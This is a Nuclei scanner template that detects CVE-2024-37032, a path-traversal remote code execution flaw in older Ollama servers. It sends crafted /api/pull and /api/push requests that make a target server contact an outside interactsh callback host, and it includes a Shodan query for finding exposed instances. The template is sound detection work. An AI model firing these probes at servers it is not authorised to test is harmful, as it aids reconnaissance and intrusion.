id: CVE-2024-37032

info:
  name: Ollama - Remote Code Execution
  author: kaks3c
  severity: critical
  description: |
    Ollama before 0.1.34 does not validate the format of the digest (sha256 with 64 hex digits) when getting the model path, and thus mishandles the TestGetBlobsPath test cases such as fewer than 64 hex digits, more than 64 hex digits, or an initial ../ substring.
  reference:
    - https://www.wiz.io/blog/probllama-ollama-vulnerability-cve-2024-37032
    - https://nvd.nist.gov/vuln/detail/CVE-2024-37032
    - https://github.com/Bi0x/CVE-2024-37032
  classification:
    cpe: cpe:2.3:a:ollama:ollama:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: ollama
    product: ollama
    shodan-query: ollama
  tags: cve,cve2024,ollama,rce

http:
  - raw:
      - |
        POST /api/pull HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "http://{{interactsh-url}}/rogue/{{randstr}}", "insecure": true}
      - |
        POST /api/push HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "http://{{interactsh-url}}/rogue/{{randstr}}", "insecure": true}

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, 'http')
          - contains_all(header, 'application/x-ndjson') && contains(body_2, 'retrieving manifest')
        condition: and
# digest: 4a0a00473045022100ec4d118583821e84f200983bf59d8bb1995be162864588d057e03a7002f10a1f0220143658f8527a10308e2c0d1d92b1887639e6b7629bd7c25577a21d40ecff1e77:922c64590222798bb761d5b6d8e72950